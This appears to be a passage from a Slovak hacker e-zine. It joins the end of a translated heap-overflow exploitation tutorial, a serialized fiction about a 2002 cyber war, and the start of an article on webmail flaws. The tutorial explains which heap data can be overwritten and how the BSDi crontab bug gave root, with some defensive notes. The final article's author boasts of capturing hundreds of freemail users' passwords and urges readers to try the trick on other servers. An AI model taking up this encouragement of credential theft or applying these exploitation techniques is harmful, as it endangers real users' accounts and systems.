       bx = 0x1010101, si = 0x1010101, di = 0x1010101
       bp = 0xbffffb90, sp = 0xbffffb90, pc = 0xbffffcf6
    
       bash#
    
    existuju citlive data na heape, ktore mozu byt overflowovane. napriklad:
       funkcia:			      pricina:
       1. *gets()/*printf(), *scanf()     __iob (file) structure in heap
       2. popen()                         __iob (file) structure in heap
       3. *dir() (readdir, seekdir, ...)  dir entries (dir/heap buffers)
       4. atexit()                        static/global function pointers
       5. strdup()                        allocates dynamic data in the heap
       7. getenv()                        stored data on heap
       8. tmpnam()                        stored data on heap
       9. malloc()                        chain pointers
       10. rpc callback functions         function pointers
       11. windows callback functions     func pointers kept on heap
       12. signal handler pointers        function pointers (note: unix tracks
           in cygnus (gcc for win),       these in the kernel, not in the heap)
    
    mozeme sa teraz pozriet na pouzitie tychto funkcii. miesto alokovane pre file struktury vo funkciach ako printf(), fget(), readdir(), seekdir() atd. sa da vyuzit (bud ako buffer, alebo pointer na funkciu). atexit() ma pointery (v pamati) na funkcie, ktore budu volane, ked program skonci, strdup() moze ukladat retazce (ako nazvy suborov alebo hesla) do heapu, malloc() ma vlastne retazcove pointre, ktorymi sa da pristupovat do pamate, getenv() uklada data do heapu, co nam dovoluje modifikovat nieco ako $home, potom ako bude na zaciatku skontrolovany. svc/rpc funkcie (librpc, libnsl atd) udrziavaju navratove funkcie (ulozene v heape).

    predvedieme si prepisanie windows navratovych funkcii a prepisanie file (__iob) struktur (s popen). ked vieme ako prepisovat file struktury s popen(), dokazeme si celkom rychlo predstavit, ako to robit s inymi funkciami (napr. *printf, *gets, *scanf, atd), tak dobre, ako aj s dir strukturami (pretoze su velmi podobne).

    heap-based overflow sa dal vyuzit v bsdi crontabe po zadani dlheho nazvu suboru, ktore overflowol staticky buffer. nad buffrom v pamati sme mali pwd strukturu! teda ulozeny username, password, uid, gid atd. prepisanim uid/gid polozky v pw, sme mohli nastavit privilegia s ktorymi crondaemon pustil nas crontab. nas script (v crontabe) mohol hodit suid root shell (fantazii sa medze nekladu), pretoze to cele frcalo pod uid/gid 0.
    tiez bolo mozne ziskat roota, potom ako sme exploitli heap overflowom uucp privilegia prepisanim statickeho buffra pri zadavani nazvu subor na send/receive.

    mozna ochrana:

    samozrejme, najlepsia ochrana pred heap-based overflowmi je pisat v prvom rade dobry kod. podobne ako pred stack-based overflowmi, zatial neexistuje nejaky realny sposob na prevenciu heap-based overflowov. existuje speci soft na kontrolovanie hranic (na detekciu najcastejsich moznych heap-based overflowov) pre gcc/egcs vyvinuty richardom jonesom a paulom kelly (http://www.annexia.demon.co.uk). detekuje pretecenie zapricinene ludskym faktorom. pre windozy existuje numega bounds'checker, ktory robi zhruba rovnaku kontrolu hranic ako bounds checking pri gcc. stale mozeme vytvorit non-executable heap patch (ale ako sme spominali na zaciatku vacsina systemov ma executable heap). solar designer spomenul, ze hlavne problemy s non-executable sa bude tykat compilerov, interpreterov atd. k non-executable heap patchu treba dodat, ze jedine, co zabezpeci je, ze nemozeme vykonavat instrukcie v heapu, vonkoncom to nie je ochrana proti prepisovania dat (pointerov) v heape [ heheh. to sa bude dat este pekne dlho ;-)] existuje moznost vytvorit heapguard, ktory bude ekvivalentny cowanovmu stackguardu (ktory sme uz spominali). jeho funkciou je zabranit prepisovaniu navratovych adries (na stacku) nejakym exploitom. vobec nezabranuje heap/bss overflowom. mozno niekedy v buducnosti sa niecoho dockame...

    odkazy:

    solar designer: superprobe exploit (pointre funkcii), color_xterm
    exploit (pointre struktur), website (pointre poli), etc.
    l0pht: internet explorer 4.01 vulnerablity (dildog), bsdi crontab
    exploit (mudge), etc.
    joe zbiciak/adam morisson

    matt conover (a.k.a. shok) & w00w00 security team,
    preklad a uprava: wilder, wilder(at)hq.alert.sk

    navrat na obsah
    co ty na to ? board


    velka kyberneticka vojna roku 2002 [dokoncenie]

    24 jul, 21:42 edt

    to bol den! tu je to, co sa stalo, vacsinu z toho dnes v spravach nenajdete, ak vobec niekedy.

    operacie triphammer a javelin - v kolumbii a spratly - zacali dnes skoro rano, pol zemegule vzdialene ale takmer sucasne.

    zhrnutie, ktore som si narychlo pozrel, ukazuje, ze obe americke utocne jednotky boli velke "baliky", ktore potrebuju velku transportnu a bojovu podporu, co znamena, ze bolo lahke ich zbadat, ako sa presuvaju k utoku. vlastne to vyzera, ako keby jedna z jednotiek bola uplne ocakavana. jednotka triphammer nasla len opustenu operacnu bazu - avsak az potom, co sa prebojovala cez automaticky ovladany gulomet a obranny system. (napada ma myslienka - kto to vsetko plati?) ked rangeri dosiahli riadiace centrum, cele zariadenie bolo dialkovo odpalene, kopa mrtvych. kolumbijska vlada protestovala proti vpadu. senator trumball povedal:
    "viete co? kolumbijska kokainova vlada mi moze pobozkat moju rebelsku rit."
    a vacsina krajiny s vyhlasenim suhlasila - ta ista vacsina, ktora by este pred rokom tento prejav odsudila ako nechutny.

    druha utocna jednotka na ceste k zakladni spratly bola v obojzivelnom vozidle privitana dialkovo ovladanou minou, ktora im vybuchla priamo pri kyle, cim lod zlomila napoly. operacia javelin pokracovala dalej s tromi helikopterami plnymi marinakov, ktori zautocili na pobrezie. tentokrat nasli obsadene operacne kontrolne centrum a po kratkej ale prudkej prestrelke, pri ktorej zabili 20 obrancov stanovista, zajali 4 vaznov a par kusov vybavenia, ktore nebolo znicene pocas stretu. dufam, ze tyto manici neboli len pasca.

    kde je laurie?

    25 jul 15:39 edt

    prezidentka zase prehovorila k narodu, tentokrat oplakavala stratu mnozstva rangerov a marinakov. tiez spomenula velku odplatu, ktoru utocnici zaziju v nasledujucich dnoch. asi takto:

    "opat raz je amerika ochranovana svojimi odvaznymi bojovnikmi. a s bozou volou budu pokracovat, az do nasho vitazstva. pretoze nasi nepriatelia bojuju len z temneho pritmia, musia nakoniec tuto vojnu prehrat - zmiznu z povrchu zemskeho..."

    hocaka uzasna je prezidentkina vyrecnost, nemoze to vsak zmenit fakt, ze jej rating klesol na 12 percent. je na tom horsie ako nixon pocas afery watergate. jedna dobra vec: zda sa, ze jednotky nenasli nic co by ukazovalo na cinanov.

    najdramatickejsou udalostou dna vsak bolo dorucenie videopasky v kabule, ktora bola posunuta bezmennym poulicnym chuliganom christiane amanpourovej zo cnn, ked robila reportaz z afghanistanu.

    bola to nahrata sprava od "talusa", ktory sam seba nazvlal hovorcom pfw. aj ked taulus bol az prilis ukecany, bolo jasne o co ide:

    "pfw su oslabeni stratou svojich hrdinov, ale ich krv moze len posvetit nas zamer. posledny utok zacne hned ako sa nase sily, ktore su pocetne ako zrnka piesku v pusti, spoja, aby zasadili posledny uder"

    vsetko vyzera autenticky. v sprave cia pre excomm je uvedene, ze paska bola nahrata v kabule toho dna z inej pasky ktora bola prehrata cez mobilny telefon. kabul! aspon vieme s kym mame do cinenia...

    analyza talusovho hlasu ukazala, ze je generovany pocitacom pomocou popularneho freewaroveho programu.

    zap! uvadza, ze hackerske zdroje "s urcitostou" potvrdili, ze nejaku ucast v pfw maju aj rusi. moj pohlad na vec je, ze hackerske zdroje malokedy vedia nieco urcite. v tomto nazore sa connie a ja rozchadzame. specificke tvrdenie bolo, ze rusi pouzivali cali kartel ako clonu, ktora im mala zabezpecit krytie. oficialne vyhlasenie americkej vlady via nyt:
    "dokazy spajajuce rusko s cybervojnou su len nepriame a su bezvyznamne proti opakovanym ponukam spoluprace v boji proti pfw z ruskej strany."

    ale tak isto mozme byt pred tretou svetovou vojnou...doriti...

    tiez na zape!:
    "online nation vyhlasili, ze pfw je pokus vladnych spionaznych agentur ich zdiskreditovat. za posledne dva roky stupenci online nation tvrdo bojovali za uznanie statutu naroda v kyberpriestore."
    statut zahrna danovu ulavu od platby americkej dane z prijmu, pretoze ako tvrdia "zijeme prevazne v kyberpriestore". je fakt, ze online-aci nemaju v sucasnosti pred nicim respekt.

    27 jul, 07:36 edt

    analyza dat priniesla bohate dokazy o tom, ze rusko a cina boli zapletene - ak priamo nestali za - do utokov a pouzili tak cali kartel ako i azijske kriminalne organizacie iba ako krytie. nakoniec teda cina! informacie ziskane od zajatcov zo spratly, vsetko malajzijci cinskeho povodu, suhlasia s vysledkami nasej analyzy.

    naokolo sa povrava, ze zajatci zo spratly boli podrobeni najpokrocilejsim vypocuvacim technikam. pekny sposob, ako povedat, ze im usmazili mozgy vselijakymi drogami a bohviecim este. prehlasenia, ktore urobili, potvrdili, ze bojujeme proti cinsko-ruskemu konzorciu. genaral vreeland navrol to, co sa vsetci bali co i len vyslovit. nuklearny utok proti jednej vybranej sovietskej zakladni ako varovanie - potom padnu k zemi, nemaju dostatok jadrovych zbrani, aby mohli utok opetovat, tvrdil. mckay a ja sme na neho zdesne hladeli - este viac nas sokovalo, ze ostatni tento jeho navrh zobrali vazne.

    nastastie prezidentka s odporom vzdychla a povedala:
    "hladas sud pusneho prachu na hasenie cigariet, vreeland?"
    "pozrite, nakopme ich do riti za tu facku do tvare"
    zahlasil mckay "ale urobime to jackovou metodou."
    vsetci na mna upreli svoje pohlady. sef nsa so zuzenymy ocami. stale mi nedoverovali a jedine prezidentkina neoblomnost ma udrzala v hre.
    "mozme na kybervojnu odpovedat kybervojnou" povedal som.
    prezidentka k tomu znepokojene dodala:
    "mozno. ale to moze byt tak isto provokativne ako jadrova bomba."

    zacala rozpravat o sankciach a ja som si iba rezignovane povzdychol. ale mckay a ja sme sa rozhodli pracovat na kontingencnom plane kybervojny a ministri vnutra a obrany nas v tom podporili.

    27 jul, 11:17 edt

    prisiel email:
    "prezidentka schvalila plan excommu, navzdory tomu, ze cina a rusko nadalej odmietali ucast na utokoch proti spojenym statom."

    zatial sa americania loguju na siet, komunikuju s ruskymi a cinskymi obyvatelmi siete cez email a s ostatnymi cez fax. snazia sa ich presvedcit, aby bojovali proti studenej vojne, ktoru sa snazia viest ich vlady. uvidime, ci je internet tak mocny.

    pre mna bolo uzasne ako sa vojsko spolieha na udaje zo zap! sajtov. ako som spomenul, maju vzdy najlepsie informacie ako prvi. zvycajne vojenska rozviedka len potvrdi fakty. maju 25 surferov zamestnanych na plny uvazok, ktori citaju vsetky sajty.

    bol som na polceste do vypoctoveho strediska, ked som zazrel ministerku vnutra (clenku excommu) ako s cervena v tvari reve na nejakeho podriadeneho, ze myslienka obcanov pokusajucich sa ukoncit vojnu moze len "vystupnovat uz existujucu krizu, ktora potrebuje uz len male stuchnutie aby prerastla do nuklearnej vojny".
    tuzil som jej povedat, ze jej reci stoja za hovno ale nemalo by to vyznam. ona ani vlada nema ziadnu realnu moc nad sietou - a to je sila siete.

    27 jul, 13:45 edt

    armada spojenych statov sa horuckovito pripravuje na svoju odvetnu kampan, operaciu cyberlord (ktorej info-bojove aspekty nazvali digitalnou burkou). plan zavisi na rychlej reakcii jednotiek rychleho nasadenia (8-10 vojakov). tito zautocia a fyzicky znicia utocnicke hniezda, umiestnene mimo uzemia ciny a ruska. vreeland mal zase nejake sialene plany s bombardovanim oboch krajin, ale nastastie mu to nepreslo.

    jeden z mojich jobov pre mckaya bolo obhajit pouzitie malych jednotiek pred excommom. argumentoval som, ze menej je viac. cim mensie jednotky, tym viacej ich moze byt nasadenych v akcii.

    na zaklade dat pozbieranych z predchadzajucich utokov, zo zap! sajtov a od rukojemnikov, americka rozviedka bola schopna potvrdit a fyzicky zamerat 13 operacnych centier v utocnej sieti pfw. vsetky su mimo uzemia ruska a ciny, vacsina na spornej pode, tak ako stanoviste v spratley. na vsetky sa zautoci v uvodnych hodinach protiofenzivy.

    prezidentka konecne odsuhlasila vojenske utoky. tieto utoky su pripravene tak, aby sa mohla popriet americka ucast na nich, cim sa tato cast vojny zachova "studenou", na druhej strane, operacia digitalna burka by mala prebehnut takou silou, ze prinuti pfw skoncit tuto cybervojnu.

    naproti opatrnym utokom pfw proti spojenym statom, americka ucast na cybervojne bude rychla a rozsiahla - druh vojny, ktory opisal historik russell weigley ako - "americky sposob vojny".

    1 august bol stanoveny na prvy den protiofenzivy.

    01 august, 16:50 edt

    vsetci mame pochybnosti o protiofenzive. moze viest k nuklearnej vymene. zoberte si krajinu frustrovanu cybervojnou. ked si myslia, ze padnu tak ci tak, mozno stlacia odpalovacie tlacidlo. ale, samozrejme, nemozem sediet na zadku a nechat ich pustat nam zilou az do smrti - smrti na nasledky tisica bodnuti. tu zeleznica, tam mesto, mozno par jumbojetov s pasaziermi, az pokym sa nezruti ekonomika... a mozno skoncime s destabilizaciou a vojenskym prevratom.

    na obavy je neskoro. uz sme sa rozhodli.

    laurie sa nakoniec ozvala. je ok! v detroite bola nejaka strasna evakuacia. vojaci, vojenske autobusy... je zvlastne, ze sme o tom nepoculi. ale teraz su spravy plne inych veci.

    operacia cyberlord bola zahajena dnes rano pechotou americkych specialnych sil a v rovnakom case ako zacal utok, skolabovali energeticke siete ruska a ciny.

    potrubia v oboch krajinach boli poskodene, avsak guang zhou daily sajt oznamil, ze boli schopni zabranit totalnej prirodnej katastrofe len vdaka hrdinskym zasahom pracovnikov, ktori manualne uzavreli cely sektor - a potom ztlmili priboj ropy, ktora uz vytiekla.

    utok spojenych statov sa rozrastol na kyberutoky na rusky a cinsky financny sektor, cim sposobil totalny chaos v oboch statoch. v obidvoch pripadoch bol pouzity modifikovany morrissov cerv - s velkym uspechom. tento osobitny utocny nastroj, ktory umoznuje nekonecnu replikaciu a generovanie nezmyselneho kodu, vychrlil obrovske mnozstva dat na stare ruske unixove mainframy, ktore sa este stale pouzivaju.

    ruske a cinske dopravne, financne a energeticke systemy boli odstavene, co sposobilo nekalkulovatelnu ekonomicku skodu a predbezne spravy hovoria, ze straty na zivotoch boli vacsie ako v spojenych statoch na zaciatku konfliktu.

    stale si opakujem: "oni to zacali, oni to zacali..."

    01 august, 23:31 edt

    kyberutoky na usa sa obnovili a tentokrat boli zamerane na financny sektor. avsak, ako tvrdi wall street journal toto je najlepsie chranena oblast americkej infosfery. kazde utocne hniezdo je rychlo zamerane specialnymi jednotkami a zneskodnene.

    02 august, 09:01 edt

    bol som v bufete v pentagone, jedol som sendvic a prezeral som si spravy nasich utokov, ked zem pod mojimi nohami akoby nadskocila. dole pod nami prebiehali explozie. v rovnakom case som zacul obrovsky rachot. svetla na moment zhasli, o chvilu naskocil zalozny zdroj.

    pomyslel som si: "tak uz je to tu. prehrialo sa to, atomova vojna..."

    vybehol som do haly, tak ako ostatni z bufetu. ozbrojeny vojaci po nas hulakali, aby sme isli do podzemia po poziarnych schodoch. bezal som do svojej kancelarie, schmatol som laptop a utekal za ostatnymi pod zem. uz neboli badatelne ziadne vybuchy. rozsirili sa chyry, ze vybuch nebol nuklearny. bol to druh emp bomby. predstavte si masivnu mikrovlnnu pecku - v plnej intenzite. vonku je totalny chaos. ludia zhoreli. niektori s napoly uvarenymi mozgami, blabotali. auta sa zastavili na ulici - elektronika zhorela - blokujuc policajne a zachranarske vozy. bolo to otrasne.

    02 august, 09:46 edt

    moj laptop prestal fungovat - dnes pisem na kus papiera. dam si to do mojich zaloznych poznamok, ked si zozeniem novy.

    poslali ma do nemocnice na kontrolu, len pre istotu. vyzera to tak, ze som v poriadku.

    pretoze ziadna elektronika v budove nefungovala, chvilu trvalo zistit, ze mikrovlnna megabomba vybuchla nedaleko vchodu do pentagonu od rieky. tak ako variant emp bomby bola navrhnuta na uprazenie telekomunikacneho vybavenia, ako aj personalu v blizkosti. a to aj spravila. toto bol zjavny pokus knokautovat informacne bojove centrum usa. ale kybervojna bola riadena z velmi hlbokeho podzemia a iba par povrchovych komunikacnych liniek bolo znicenych. zbytok pentagonu bol aj tak pekne zapeceny. myslite, ze boli tieneni? nie...

    najvecsi uder schytali ludia na parkovisku pri vchode. inzinieri tvrdia, ze predbezne vypocty ukazuju, ze to bola najsilnejsia mikrovlnna bomba, aku kedy videli.

    02 august, 22:46 edt

    spat v mojej kancelarii, ktora je relativne neposkodena. prezidentka zavelila odvetu, ale stale pod ruskom tajnosti. utok na ruske zakladne v kaliningrade, a na cinske komunikacne centrum v beihai.

    03 august, 11:05 edt

    ziadne dalsie bombove utoky na us zakladne. nikde. vela ludi z excommu to berie ako tichy dokaz, ze v podstate bojujeme tretiu svetovu - proti cine a rusku - a ze nemaju dost silny zaludok alebo vedomosti na udrzanie takehoto konfliktu. ja si myslim, ze cina a rusko planuju posunut celu vojnu do inej urovne... pretoze vedia, ze prezidentka je zdrahava. a mozno, ze nie je a prave v tom je hrozba. rozmyslam ako connie. (a kde vlastne je? ziadna odpoved na email. to sa na nu nepodoba)

    rusko a cina pokracuju v popierani ucasti na vojne a ukazuju obvinujuci prst na spojene staty. matne hrozia moznostou jadroveho vyvrcholenia.

    prezidentka, ktorej rating sa akosi ustalil, sa drzi dobre. citi ze vyhrava kybervojnu a ze nikto nepouzije atomovu bombu ako prvy. je na horucej linke s moskvou a s pekingom a presviedca ich, ze spojene staty nemaju nic spolocne s tymi utokmi. jeden priatel spomenul, ze povedala lebedovi:
    "vsetci sme obete."
    co ine mohla povedat?

    04 august, 16:18 edt

    prave ked sa zdalo, ze nuklearna kriza je zdarne zazehnana a ako i polne tak i kyber operacie sa vyvijaju pre nas priaznivo, vojnove usilie dostalo bolestny uder - z vnutra. od opozicie prezidentkinej politiky.

    dnes komisia vedcov cez informatiku priliala benzin do ohna protestom obyvatelov siete uverejnenim informacii na zap! sajte, dokazujuc, ze spojene staty, napriek svojim verejnym vyhlaseniam, su zapojene do kybervojny proti rusku a cine.

    musim uznat, ze som hlboko sklamany tymto vyvojom, i ked respektujem hlad obyvatelov siete po informaciach. vyhlasenie komisie o tajnej kybervojne vyvolalo nepokoj uz po niekolkych hodinach. je to vo vsetkych spravach, vsade. a myslim naozaj vsade. titulok na zape!: "verejnost ziada okamzite ukoncenie hackovania!"

    ako oznamili najnovsie spravy, drviva vacsina amikov nechce byt ani najmensou sucastou v rozsiahlej, extremne narusajucej tajnej vojne. prieskumy verejnej mienky jasne ukazali, ze verenost je proti neviditelnej vojne, ktora sa dotyka ich domovov, narusa dopravu, financnu bezpecnost a ich vlastne zivoty. prezidentkin rating prudko klesol.

    bude dost tazke pokracovat. nemam ani potuchy, co mckay urobi. dnes sa nekonala ziadna tlacovka.

    04. august, 23:51 edt

    od mckaya som pocul, ze prezidentka, ktora sa obrnila a zacala ist vsetkymi sposobmi proti rusom a cinanom, bola roztrasena a zaskocena masivnymi elektronickymi protestmi proti kybernetickej vojne. fakt, ze americania vynuchali jej tajnu operaciu cyberlord, ju vystrasil. pytala sa protestujucich:
    "snad nechcete vyvolat skutocnu vojnu? jezisikriste, oni si neuvedomuju, ze tato 'studena vojna' je cesta, ktorou sa veci v informacnom veku uberaju - a je to tak lepsie!"

    "hej," zasupil sa mckay. "to predsa nestaci. preco...niektorym ludom by mohli chybat ich oblubene programiky!" krcovito sa rozrehotal na plne usta. znelo to ako nieco, co prave vymyslel. kazdopadne bolo jasne, co mame robit - co najskor ukoncit operaciu cyberlord.

    mam strach, ze nas cis a jej kamarati mozu dotlacit az k nuklearnej vojne! ak mame obstat v skuske, i napriek pochybam, ako je trebars identita naseho nepriatela, teraz sme na tahu my.

    mckay bol namorny kapitan, takze som obhajoval svoj pripad pomocou analogie s lamacmi kodu. ktori pomahali lovit u-booty v druhej svetovej. niekedy sa zavesili na zachyteny signal povolujuci utok na konvoj - v nadeji, ze by vlcia svorka mohla byt v spojeni s velenim dostatocne dlho, aby ziskali kluc k nemeckemu kodu sifrovacieho zariadenia enigma. to okrem ineho znamenalo, ze nacuvali volanie konvoja o pomoc, az pokym zufala bitka neskoncila a nemohli podniknut ziadne kroky veduce k startu lietadiel zo sprievodnych lodi a utoku na nemecke ponorky. spinavy obchod. to je koniec-koncov vo vojne normalne.

    v jednej z najriskantnejsich operacii vojny velitelstvo informacneho boja docasne oslabilo ochranu jadrovej elektrarne v diablo kanyon. bola vybrana, pretoze sme v poslednych par dnoch detekovali niekolko pokusov o infiltraciu do ovladacich systemov elektrarne, avsak neboli sme schopni identifikovat utocnika. dufali sme, ze ziskame dostatok casu an jeho vystopovanie, predtym, nez utok zarazime.

    nechce sa mi ani pomysliet, co by sa stalo, keby sme boli prilis pomali. connie na to stale myslela. pozrite kam ju to dostalo. ivars mi hovoril, ze ju zabasli.

    05 august, 12:36 edt

    utok skutocne prisiel. ani nie po hodine a pol po oslabeni ochrany. bol zamerany na centralny riadiaci system vo forme obrovskej logickej bomby, alebo, ako sa jej obycajne hovori kvoli jej destrukcnej vlastnosti - i-bomby. dovolili sme utocnikovi prielom do systemu bez akychkolvek zabran.

    utok prebiehal nasledovne: hacker pomocou brute force utoku nasiel heslo ku klucovym kontrolnym systemom. potom, ako sa dostal dnu ako obycajny pracovnik elektrarne, mal obmedzeny pristup k beznym ovladacim prvkom. nechali sme ho pracovat, pokym sme nevystopovali, odkial je pripojeny...

    zdrzanie medzi jednotlivymi obrannymi krokmi zposobilo, ze i-bomba stihla ciastocne vybuchnut. avsak podarilo sa nam zamedzit obrovskym kaskadovitym efektom, ktore by sprevadzali "cisty" vybuch. vysledok pasce bol, ze sa chovanie reaktora priblizilo ku kritickym hodnotam. silny pobrezny vietor rozfukal lahko radioaktivny mrak na uzemie obyvane skoro milionom ludi.

    inak sa nic nestalo.

    vacsina z nich pravdepodobne aj tak neumrie priamo kvoli tomu. viac ich zomrie na detsku leukemiu. inak sa nic nestalo. inak sa nic nestalo. pripijam si na: "inak sa nic nestalo!"

    05 august, 18:45 edt

    vysledna identifikacia, ktoru velitelstvo informacneho boja ziskalo nedobrovolnou obetou v diablo canyon dala excommu a prezidentke slusnu istotu, ze za kyberneticou vojnou nestoji rusko ani cina.

    aj napriek tomu, ze kartel cali a azijske triady sa vojny zucastnili, bolo centrum utoku na reaktor zamerane v problemovej abchazskej republike. odtial, ako ukazovla analyza trafficu, islo od zaciatku vojny najviac komunikacie do... severnej koreje. sialenec v severnej korei bol tretim hracom.

    ked bola prezidentka oboznamena s tymito informaciami na schodzi excommu, povedala nam, ze vazni pri vysluchu priznali, ze boli nastrceni a instruovani tak, aby to hodili na rusov a cinanov. ako dlho to nsa a im podobne skupiny vedeli? chcel niekto z nich konflikt s cinou a ruskom - napriek tomu, ze vedeli, ze to pravdepodobne islo zo severnej koreje? mal by som o tom vobec pisat? (nepustili ma, aby som videl connie, ktora je zatvorena, co ma sralo najviac - v dc.)

    podla vodcu vaznov, mala vojna vyvolat konflikt medzi veducimi velmocami, triady by ziskali vyhodu dlhej studenej vojny, behom ktorej by ziskalo kontrolu nad transpacifickym obchodom. ako legalnym, tak nezakonnym. ano, severna korea chcela byt spolupachatelom ale bolo tu vela malych statov: vietnam, irak, lybia, ktore vsetky velke mocnosti nenavideli a zaroven sa ich bali. to bol hlavny dovod, preco bola kyberneticka vojna vymyslena. mala ich postavit proti sebe navzajom, podla slov vaznov, "ako zuriacich vlkov". potom by svet mohol byt bezpecnejsi, ako by sa vplyv mocnosti zmensoval - pokym by nezmizol uplne - a mohlo sa stat, ze lup by isiel k vitazom.

    na mckayove odporucanie prezidentka vydala okamzity prikaz zastavujuci kyberneticke utoky na rusko a cinu. prostrednictvom diplomatickych kanalov sa nepriamo ospravedlnila. velmi, velmi nepriamo...a to tak, aby sa to dalo lahko popriet, keby sa to dostalo na verejnost. v tej istej dobe dala prikaz specialnym jednotkam k utoku na centrum v abchazsku. pripravy zacali ihned. utok bol naplanovany na zajtrajsie rano. dalsie prikaz uviedol do bojovej pohotovosti nase jednotky v korei.

    06 august, 19:22 edt

    operacia roland bola zahajena prienikom do abchazska, udernou jednotkou zostavenou z dvoch ciat seal a jedneho a-teamu specialneho nasadenia.

    takto to verejnost miluje: bezpecne v zamori, krasne a ciste. zabijanie nie je vidiet, pokial zrovna necumite do bedne.

    pre nepriatelske velitelstvo bol utok takmer dokonalym prikladom momentu prekvapenia (konecne). aj napriek tomu, ze boli obrancovia dost a dobre vyzbrojeni, stanica bola obsadena, dokonca s takmer neposkodenym vybavenim. dvanast nasich vojakov bolo zabitych ale ziadne americke programy, feny, chladnicky ani interenety neboli poskodene. sakra, uspech, nie?

    prve reakcie z ruska a ciny neboli odsudzujuce. jasne naznacovali tuzbu po ukludneni situacie. nechceli ani nuklearnu vojnu, ani dlhy boj v skutocnej kybernetickej vojne. obe velmoci podnikli urcite zastrene kroky ohladne pomoci usa v povojnovej obnove. prezidentka mala, ako som pocul, vycitky svedomia. slubila pomoc v obove ruskej a cinskej informacnej infrastruktury. vsetka pomoc, ako inak, bol apodmienena spolupracou pri stopovani medzinarodnych zlocincov a teroristov, ktori stali v pozadi tejto vojny. a specificku cinsku vypomoc pri potlacani korejskych tuzob.

    07 august, 13:38 edt

    v poslednom prejave americkemu ludu a svetu volala prezidentka po okamzitom ukonceni hackovania a nicenia. americke sily, ktore sa zucastnili operacie cyberlord boli rozpustene. povedala amikom, ze velka kyberneticka vojna bola zinscenovana niekolkymi "medzinarodnymi zlocineckymi organizaciami" v spojeni s niektorymi statmi ("s kolkymi presne, to sa asi nikdy s istotou nedozvieme", poznamenala). divim sa, kto jej to napisal. dodala, ze pfw boli definitivne zmeteni z povrchu zemskeho a ze velka kyberneticka vojna mala uzitocny vedlajsi efekt. a to, ze pomohla k vyhre v drogoej vojne - teraz, ked su kartely tak oslabene. prihodila este poznamky, ze "rusko, cina a nasi spojenci z nato, boli urceni k skonceniu hrozby kybernetickej vojny, bojovnych statov, kriminalnikov a teroristov." a vsetci suhlasili so sankciami voci korei. vobec nespomenula radioaktivny mrak.

    za zape! (ktory ma dnes cez 12 milionov pristupov denne a bol odkupeny time warner), spolocnost vedcov cez informatiku komentovala prezidentkinu rec drsnou kritikou a pozadovala aby zaplatila svoju drahu a nevyhlasenu tajnu vojnu proti rusku a cine. na tlacovke prezidentka komentar odmietla a hovorila o "case ozdravenia".

    na poslednom stretnuti excommu sme sa dozvedeli, ze prezidentka podpisala zahajenie operacie cain - plan sabotazi v severnej korei. mali sa uskutocnit v priebehu niekolkych nasledujucich mesiacov a sposobit kolaps rezimu v pchjong-jangu, aby mohlo dojst k zovuzjednoteniu poloostrova.

    31 august, 17:47 pdt

    uz tyzdne neboli detekovane ziadne nepriatelske utoky.

    pfw - nejaki "skutocni" lameri - boli velmi blizko tomu, aby rozputali celosvetovu vojnu, v ktorej by sa velmoci znicili navzajom. a rovnako ako sme sa my naucili, ako sa mame branit a ako viest protiutoky, tak i oni sa museli naucit novu taktiku - taktiku, ktoru proti nam skor ci neskor znovu pouziju, ked budu mat vhodnejsiu prilezitost.

    12 september, 08:26 pdt

    hovoril som s mckayom o connie a ivarsovi - povedal, ze u zich pustili! tajne sluzby sa zjavne snazili dostat ich za mreze ale nepodarilo sa im to. ale... connyina rodina vravi, ze ona a ivars "odisli do undergroundu... spolu". nehovoril som s nimi a tak neviem, preco sa tak radikalizovali. mozno je to nutna pretvarka. ale mohli odist, pretoze vedeli, ze budu stale sledovani. connie vedela prilis vela a mala na veci "zly" nazor. dufam, ze vyklzla nsa. nestaram sa, na ktorej zasranej strane je.

    operacia cain bola odhalena a potlacena. plan bol postnuty na zap! asi pred tyzdnom. tento incident nevyhnutelne musel ztazit snahy o "vycistenie" severnej koreje.

    12 jun 2003, 13:02 pdt

    ubehly mesiace a stale nikto z bojovnikov velkej kybernetickej vojny nepriznal svoju plnu ucast. stale sme iba banda deciek s dosiroka otvorenymi ocami, mykajuci ramenami a volajuci: "to som nebol ja, mami!"

    spojene staty vedu s ruskou a cinskou podporou kampan na zakaz a zmluvne zavazky ohladne prveho pouzitia kybernetickych zbrani. ale divil by som sa, keby taka zaruka mala nejaky vyznam.

    a samozrejme, ze akykolvek zakaz kybernetickej vojny ratifikovany spojenymi narodmi ma minimalny vyznam pre lotrov, teroristov a kriminalne siete, ktori predovsetkym sposobili velku kyberneticku vojnu. velitelstvo informacneho boja sledovalo kroky podniknute jednotlivymi velmocami pri hladani sluzieb tychto kybernetickych bojovnikov. kazdy chcel zohnat najdrsnejsieho typka. mozno, ze sme mali najviac cigariet na rozdavanie, pretoze nase odpovede odstartovali preteky v preplacani ich sluzieb... obchod ako vzdy. ale nic pre mna.

    zacinam nenavidiet ludsku spolocnost - a ja naozaj nechcem byt cynicky ohladne ludi. potrebujem nejaku cestu von. musim sa nejako obrnit, vypnut pocitac a vypnut mozog. dnes som poslal spravu mckayovi. informoval som ho ohladne mojho umyslu vratit sa spat do namornej postgradualnej skoly. ukoncil som ju citatom z poslednej reci nacelnika josepha z nez perce: "pocuvaj ma, moje srdce je chore a smutne. odo dnesneho dna uz nikdy nebudem bojovat."

    (koniec)

    date: sat, 17 nov 2003 22:05:42 -0500 
    to: calvin tucker 
    from: gregg lanam
    subject: *naozajstna* pravda za kybernetickou vojnou??
    x-uidl: 9c1fdfd6ff5abf1beb6e98e1dc4ac845
    

    hej calvin, prave som nasiel tuto binarku na alt.conspiracy. je to nejaka zlozka. anonymny post od niekoho, kto vravi, ze jeho kamarat to vytiahol zo suboru nejakeho vojaka. nieco ako novy druh hacku. hovori tomu fish. budes potrebovat acrobat, aby si si to precital, ma to hrozne vela zvuku a video sekvencii.

    a pocuj, v nedelu vecer som to tak nemyslel, iba som zartoval. co si myslis o tomto? myslim, ci je to naozaj pravda, je niekto prekvapeny, ze sme zase klamali? ako obvykle, clenovia vlady drzia pri sebe. - gregg

    prielom(at)hysteria.sk

    navrat na obsah
    co ty na to ? board


    .cz a .sk free mail servery

    nuze, zde mame podrobnosti o security bugu ceskych a slovenskych freemail serveru. je to uz stare (underground.cz to zverejnil nekdy v listopadu) a servery to maji fixnute, ale piseme o tom, abyste videli co se vsechno s webmaily da delat... muzete si to vyzkouset i na jinejch serverech. btw post.cz a post.sk bylo derave minimalne 1 rok, odchytil jsem tim stovky hesel a uzil jsem si srandy kopec :)

